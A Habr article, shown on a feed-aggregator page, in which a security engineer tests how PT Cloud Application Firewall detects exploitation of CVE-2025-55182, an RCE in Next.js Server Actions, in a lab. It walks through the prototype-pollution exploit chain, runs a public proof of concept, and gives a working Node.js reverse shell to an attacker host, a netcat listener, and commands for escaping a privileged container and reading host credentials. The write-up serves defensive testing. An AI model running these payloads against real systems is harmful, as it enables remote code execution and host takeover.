惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
WordPress大学
WordPress大学
云风的 BLOG
云风的 BLOG
Stack Overflow Blog
Stack Overflow Blog
MongoDB | Blog
MongoDB | Blog
腾讯CDC
V
V2EX
Martin Fowler
Martin Fowler
A
About on SuperTechFans
大猫的无限游戏
大猫的无限游戏
Blog — PlanetScale
Blog — PlanetScale
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
酷 壳 – CoolShell
酷 壳 – CoolShell
C
Check Point Blog
博客园 - 【当耐特】
Cisco Talos Blog
Cisco Talos Blog
The Hacker News
The Hacker News
K
Kaspersky official blog
Security Latest
Security Latest
H
Help Net Security
博客园_首页
美团技术团队
Spread Privacy
Spread Privacy
博客园 - 司徒正美
Hugging Face - Blog
Hugging Face - Blog
S
SegmentFault 最新的问题
G
Google Developers Blog
NISL@THU
NISL@THU
爱范儿
爱范儿
I
Intezer
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
N
News and Events Feed by Topic
P
Privacy International News Feed
Application and Cybersecurity Blog
Application and Cybersecurity Blog
S
Security @ Cisco Blogs
Schneier on Security
Schneier on Security
雷峰网
雷峰网
人人都是产品经理
人人都是产品经理
V
Vulnerabilities – Threatpost
W
WeLiveSecurity
P
Palo Alto Networks Blog
G
GRAHAM CLULEY
Hacker News: Ask HN
Hacker News: Ask HN
I
InfoQ
The Cloudflare Blog
F
Full Disclosure
SecWiki News
SecWiki News
宝玉的分享
宝玉的分享
N
Netflix TechBlog - Medium

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
CVE, Shell и побег из контейнера: испытываем возможности PT Cloud Application Firewall
IChebotarev · 2026-05-25 · via Все публикации подряд на Хабре

Привет, Хабр! Меня зовут Иван Чеботарев, инженер направления защиты приложений в К2 Кибербезопасность. В статье рассмотрю, как PT Cloud Application Firewall (ucWAF) реагирует на побег из контейнера после RCE с использованием новой CVE-2025-55182. Это уязвимость в Next.js, открывающая Remote Code Execution через механизм Server Actions. Я собрал тестовый стенд с уязвимым Next.js-и проверил: классический веб-шелл, Reverse Shell и побег из контейнера. Next.js — один из самых популярных фреймворков для фронтенда, а Server Actions включены по умолчанию начиная с 14-й версии. Если вы деплоите Next.js в контейнерах, эта статья покажет, как выглядит полная цепочка от RCE до выхода на хост, и на каком этапе WAF может ее остановить.

Архитектура стенда

Чтобы продемонстрировать работу уязвимости и проверить WAF, я развернул в облаке тестовый стенд из трех компонентов: АРМ Атакующего → ucWAF → Next.js Server.

АРМ атакующего отправляет вредоносный запрос на ucWAF. Тот пропускает его через правила, перенаправляет на Next.js-сервер, получает ответ и возвращает обратно атакующему.

Next.js-сервер

В качестве цели атаки я выбрал готовый тестовый образ уязвимого приложения с GitHub: github.com/msanft/CVE-2025-55182.

Создадим Dockerfile:

FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]

Соберем образ и запустим контейнер:

docker build -t cve .
docker run --privileged -d -p 3000:3000 --name cve-test cve-test

Заглянем в журнал контейнера, убедимся в правильности его работы и перейдем к следующему компоненту.

docker logs -f cve

nginx с мозгами

PT Cloud Application Firewall — это nginx reverse-proxy с модулем от Positive Technology, который реализует функции WAF. ucWAF здесь установлен «в разрыв» так, чтобы весь входящий трафик проходил через него и после анализа и фильтрации перенаправлялся на целевой сервер. Next.js-сервер находится в изолированной подсети и снаружи напрямую недоступен. Для целевого сервера ucWAF выглядит как обычный клиент, полностью «прозрачный» посредник.

Конфигурация nginx:

<br class="Apple-interchange-newline"><div></div>
upstream next {
   server 172.31.5.5:3000;
}
​
server {
   listen           80;
   server_name      next;
   location / {
       proxy_pass http://next;
       proxy_set_header Host $host;
       proxy_set_header X-Real_IP $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header X-Forwarded-Proto $scheme;
   }
}

Секция upstream задает адрес целевого сервера (172.31.5.5:3000). Секция server — порт прослушивания и заголовки для корректного проксирования. Важная деталь: `server_name next`, а не _ . Это означает, что перед тестированием нужно прописать запись в /etc/hosts:

<IP_WAF>  next

Для наших тестов WAF сначала работал в режиме мониторинга, чтобы видеть, что именно срабатывает.

Что такое Server Actions, и что с ними не так

Теперь немного теории. Вот вы пишете full-stack приложение на Next.js и хотите выполнить какую-то логику прямо на сервере без создания отдельного API-эндпоинта, REST и GraphQL.

С Server Actions это просто: пишете функцию, помечаете ее директивой use server, и Next.js сам разбирается с маршрутизацией. Он создает уникальный хэш-идентификатор для функции и начинает принимать POST-запросы на /_next/action с этим хэшем в заголовке Next-Action. Удобно, быстро, и никакого boilerplate-кода. Неудивительно, что разработчики начали активно использовать Server Actions сразу после их появления в качестве экспериментальной фичи в 13-й версии Next.js.

Но здесь есть подвох: даже если в приложении нет ни одной функции с use server, механизм обработки Server Actions активирован по умолчанию (параметр serverActions: true).

/** @type {import('next').NextConfig} */
const nextConfig = {
 experimental: {
   serverActions: true, // включает Server Actions
 },
 poweredByHeader: false,
 compress: true,
 reactStrictMode: true,
};

Обработчик /_next/action (или POST на любую страницу с заголовком Next-Action) запускает десериализацию через decodeReplyFromBusboy. Поверхность атаки есть у любого Next.js-приложения с дефолтными настройками, даже если вы сами Server Actions не используете.

Принцип работы CVE

Суть уязвимости CVE-2025-55182 в том, что злоумышленнику достаточно отправить POST-запрос на любой роут Next.js с заголовком Next-Action (любым значением) и специально сформированным multipart-телом. Уязвимость срабатывает на этапе десериализации React Flight Protocol, до проверки хэша действия. Таким образом, RCE достигается одним запросом, даже если в приложении нет ни одной реальной Server Action.

Чтобы реализовать атаку, нужно отправить специально сформированный multipart/form-data запрос, который содержит несколько чанков (chunks) данных. Эти чанки могут ссылаться друг на друга, создавая сложные структуры.

Уязвимость заключается в том, что при обходе этих ссылок React не проверял, существует ли запрашиваемый ключ у объекта. Это позволяло добраться до цепочки прототипов (__proto__) и, в итоге, до конструктора функций (Function) всего за шесть шагов:

1. Фальшивый thenable

Для начала создается объект (chunk 0), в котором поле then устанавливается в “$1:__proto__:then”. Это ссылка на then из прототипа чанка (Chunk.prototype.then). В результате, когда этот объект возвращается из decodeReplyFromBusboy и await пытается его разрешить, вызывается Chunk.prototype.then. При этом управление передается в функцию initializeModelChunk, где начинается вторичная обработка.

2. Использование $@ для доступа к сырому чанку

Во втором чанке (chunk 1) помещается “$@0”, что означает «верни сырой чанк 0, не разрешая ссылки». Это позволяет повторно использовать тот же объект, но с уже установленным status: “resolved_model” и другими управляемыми полями.

3. Внедрение через обработчика Blob ($B)

Внутри initializeModelChunk значение chunk.value парсится как JSON. Специально сформированное значение ‘{“then”: “$B0”}’ заставляет обработчик Flight протокола выполнить код для блоба ($B). Обработчик $B выполняет:

 response._formData.get(response._prefix + obj)

Здесь obj = 0, _formData и _prefix контролируются атакующим через поле _response в том же чанке.

4. Подмена _formData.get на конструктор Function

В _response._formData передается объект, у которого метод get заменен на “$1:constructor:constructor”. Благодаря прототипному доступу это превращается в Function — встроенный конструктор, создающий функции из строки кода.

5. Выполнение произвольного кода

В _prefix помещается строка с JavaScript-кодом, который должен выполниться. В результате вызова:

response._formData.get(response._prefix + "0")

Метод get подменен на конструктор Function, поэтому фактически вызывается: Function(code). Созданная функция возвращается как thenable и немедленно вызывается движком Promise, так как весь механизм десериализации работает в асинхронной цепочке. Таким образом, код выполняется.

6. RCE через child_process

В коде используется import(‘child_process’).then(cp => cp.execSync(‘команда’)) (или require, если среда CommonJS). Вывод команды можно эксфильтрировать, например, выбросив ошибку с результатом, который попадет в поле digest ответа.

Важно отметить, что атака происходит на этапе десериализации, еще до того, как Next.js проверит, какой именно Server Action вызывается. Это означает, что уязвим любой сервер с включенными Server Actions, даже если в приложении нет опасных функций. В нашем стенде нет серверных действий вовсе, но из-за того, что они включены, мы можем отправить вредоносный код. Подробнее об этом можно прочитать у автора стенда: msanft/CVE-2025-55182.

Сценарий 0: проверяем оригинальный PoC

Начнем с оригинального PoC из того же проекта на GitHub. Для запуска потребуется Python с библиотекой requests. Через PoC можно вызывать команды на сервере и получать вывод.

Например, вызываем выполнение скрипта и передаем Next.js сервер и команду: python3 exp.py http://next “ls” и в ответ получаем:

1:E{"digest":"Dockerfile\nREADME.md\napp\nbun.lock\neslint.config.mjs\nnext-env.d.ts\nnext.config.ts\nnode_modules\npackage-lock.json\npackage.json\npostcss.config.mjs\npublic\ntsconfig.json","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}

Таким образом, в результате эксплуатации сервер возвращает HTTP‑статус 500 Internal Server Error, так как выполнение payload приводит к намеренному исключению (NEXT_REDIRECT). Однако, перед этим произвольный код успевает выполниться, и его вывод (или результат выполнения команды) передается внутри ошибки в поле digest. Таким образом, атакующий может добиться удаленного выполнения команд с получением результата.

Я собрал простой веб-интерфейс поверх этого PoC, чтобы не возиться с консолью: запросы и ответы сервера теперь видно прямо в браузере. Запускать все это нужно с АРМ атакующего и PoC, и веб-интерфейс стоят там же.

Если сейчас отправим на сервер вредоносный запрос, то столкнемся с CORS (Cross-Origin Resource Sharing). Браузер, прежде чем отправить запрос на чужой домен, шлет preflight-запрос OPTIONS чтобы узнать методы, заголовки и прочее.

Наш сервер таких запросов не ждет и честно отдаст 400-ю ошибку. Это как прийти на вечеринку с приглашением, и обнаружить, что у охранника вообще нет списка гостей. Для решения этой проблемы нужен прокси на сервере атакующего. По той же аналогии: мы не будем спорить с охранником, а попросим коллегу, который уже попал на вечеринку, взять подарочек и пронести внутрь.

Схема такая: браузер шлет запросы на свой же сервер атакующего, а тот пересылает их на целевой домен напрямую — никакого preflight, никакого CORS. Также можно было отключить CORS-политику в браузере, но это менее удобно, да и запутаться проще.

Сценарий 1: классический Web Shell против WAF

Наш ucWAF обнаруживает запросы, отправленные через /proxy или напрямую через скрипт.

ucWAF разбирает запрос по ключам, включая тело POST, и ищет паттерны, характерные для внедрения команд ОС и обнаруживает Web Shell через встроенные сигнатуры без какой-либо дополнительной настройки.

Там же в интерфейсе можно посмотреть «сырые» данные — сам запрос и ответ.

Конечно, сервер возвращает ответ только потому, что ucWAF работает в режиме обнаружения. В режиме блокировки он бы отсек запрос, и никакого ответа мы бы не получили.

Сценарий 2: Reverse Shell

Теперь рассмотрим более интересный сценарий, в котором трафик идет напрямую между сервером и атакующим в обход WAF, так что единственный шанс предотвратить атаку — перехватить инициирующий запрос, который выполняется через executeCommand.

node -e "const net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);const client=new net.Socket();client.connect(4444,'172.31.5.22',()=>{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"

Node.js поднимает исходящее TCP-соединение к АРМ атакующего (172.31.5.22:4444) и пробрасывает через него stdin/stdout шелла. В отличие от веб-шелла, здесь весь последующий трафик идет напрямую между сервером и атакующим, минуя WAF. Именно поэтому так важно заблокировать первый запрос, после установки соединения WAF уже ничего не увидит.

Перед отправкой переведем ucWAF в режим блокирования и посмотрим, что произойдет. На нашем сайте видим ответ:

В веб-интерфейсе ucWAF видим наше срабатывание без кода ответа.

В карте срабатывания видим, по какому признаку заблокирована атака. Запрос на Reverse Shell вызывает срабатывание целого ряда правил, и в логах остается то, на котором WAF прерывает соединение. Ниже переведем СЗИ в режим прослушивания, и убедимся что ucWAF срабатывает и на React и на CVE-2025-55182(React).

Заблокировать такой запрос важно: если он выполнится успешно, атакующий установит сессию с АРМ напрямую, в обход ucWAF. После этого отследить его действия уже не получится.

Давайте посмотрим, чем это грозит на практике. На АРМ атакующего нужно открыть порт для прослушивания (в моем случае 4444). Для этого понадобится netcat:

nc -lvnp 4444

Переведем ucWAF в режим обнаружения и посмотрим, как выглядит атака.

В журнале срабатываний ucWAF будет лишь запрос на такое подключение и следующие команды будут идти напрямую.

Как видим в режиме мониторинга WAF не прервал соединение и правило сработало по всем сигнатурам что были заложены в WAF.

Код ответа здесь не означает, что ucWAF что-то заблокировал в режиме мониторинга. Он говорит о другом: запрос установил соединение через Reverse Shell, и сервер Next.js не ответил, потому что он установил соединение, и ему нечего возвращать. Три срабатывания в одно время, потому что запрос с Reverse Shell задевает сразу несколько правил. В нашем случае срабатывание было одно: ucWAF заблокировал атаку по первому же признаку и дальше по правилам не проверял.

Побег из контейнера

Мы уже показали, что через CVE-2025-55182 можно выполнять команды внутри контейнера, но это изолированная среда, и сам по себе RCE в нем не означает доступ к хосту. Другое дело, если контейнер запущен с флагом --privileged.

Привилегированный контейнер получает полный набор Linux capabilities и прямой доступ к устройствам хоста через /dev. По сути, от полноценного root на хосте его отделяет только файловая система: она у контейнера своя. Но если можно обращаться к блочным устройствам, ничто не мешает смонтировать диск хоста и получить доступ ко всем его файлам.

В продакшене --privileged иногда используют «для удобства»: чтобы контейнер мог работать с Docker-сокетом, управлять сетью или обращаться к GPU. На нашем стенде мы включили его намеренно, чтобы показать всю цепочку атаки от RCE до выхода на хост.

Важное уточнение: я показываю побег именно из привилегированного контейнера. Если контейнер запущен с дефолтными настройками, описанная ниже техника не сработает.

Запустим контейнер в привилегированном режиме:

docker run --privileged -d -p 3000:3000 --name cve cve

Изнутри контейнера можно проверить, какие capabilities ему выданы:

cat /proc/self/status | grep -i capeff

Значение CapEff — это битовая маска активных capabilities. Если там 0000001fffffffff или близкое к нему значение — включены все capabilities, контейнер привилегированный. Значение вроде 00000000a80425fb означает урезанный набор — это стандартный контейнер, и монтирование дисков хоста ему недоступно.

Монтируем файловую систему хоста

Дальше атакующий через наш веб-шелл последовательно выполняет четыре команды:

# 1. Найти диски
lsblk || fdisk -l || ls -la /dev/sd* /dev/vd*

# 2. Создать точку монтирования
mkdir -p /host

# 3. Смонтировать (подставить нужный диск)
mount /dev/vda1 /host && echo "Mounted!" || echo "Failed"

# 4. Проверить содержимое
ls /host/

Первая команда ищет блочные устройства. В облачных средах диск хоста обычно называется /dev/vda1 или /dev/sda1. Привилегированный контейнер видит все устройства хоста в /dev, поэтому lsblk покажет их так же, как на самом хосте.

После монтирования /dev/vda1 в директорию /host атакующий получает полный доступ к файловой системе хоста: /host/etc/shadow с хешами паролей, /host/root/.ssh/ с ключами, конфигурации других сервисов — все открыто. Можно читать, можно записывать. Например, добавить свой SSH-ключ в authorized_keys и получить постоянный доступ к хосту даже после того, как контейнер остановят.

Что видит ucWAF после успешного побега из контейнера

Посмотрим, как ucWAF реагирует на эту цепочку команд.

Каждая команда, отправленная через веб-шелл, проходит через ucWAF в виде отдельного POST-запроса. WAF фиксирует срабатывания на характерные паттерны: обращение к /dev/, вызовы mount, чтение системных директорий. Все это — типичные признаки попытки выхода из контейнера, и WAF ловит их по встроенным сигнатурам.

В карточке конкретного запроса видно, какое именно правило сработало и на какой фрагмент команды.

Срабатывание на конкретную отправленную команду. А вот что мы получаем в итоге.

На скриншоте вывод ls /host/: корневая файловая система хоста, смонтированная внутри контейнера. С этого момента разница между «RCE в контейнере» и «root на хосте» исчезает.

Патчить нельзя блокировать

Запятую поставьте сами, но сначала подведем итоги. Эксперимент показал, что PT Cloud Application Firewall корректно заблокировал оба основных сценария атаки через CVE-2025-55182. В результате непропатченный Next.js-сервер с ucWAF оказался защищен от эксплуатации свежей CVE.

Однако, WAF обеспечивает компенсирующий контроль, а не полностью заменяет патчи. Если завтра появится техника обфускации, которую текущие правила не покрывают, WAF пропустит такой запрос, и злоумышленник сможет проэксплуатировать уязвимость. В этом WAF похож на хорошего охранника. Он знает список нежелательных гостей, но лучше, чтобы дверь при этом все равно была заперта, потому что список всегда немного отстает от реальности.

По нашим оценкам, свежие правила для PT Cloud AF появляются в течение дня после публикации CVE, в то время как закрытие уязвимости может занимать от нескольких дней до месяцев, в случае сложных корпоративных систем. WAF закрывает именно то окно, которое неизбежно возникает между «угроза известна» и «патч задеплоен», но не заменяет патчи.

Воспроизведите сами

Панель для атак доступна на GitHub: https://github.com/DeDnY/CVE-2025-55182-poc-panel

README еще дописывается, но базовые инструкции по развертыванию описаны в этой статье. ucWAF или любой другой WAF нужно добавить самостоятельно. Архитектура стенда намеренно простая, чтобы можно было подставить любое решение и сравнить результаты.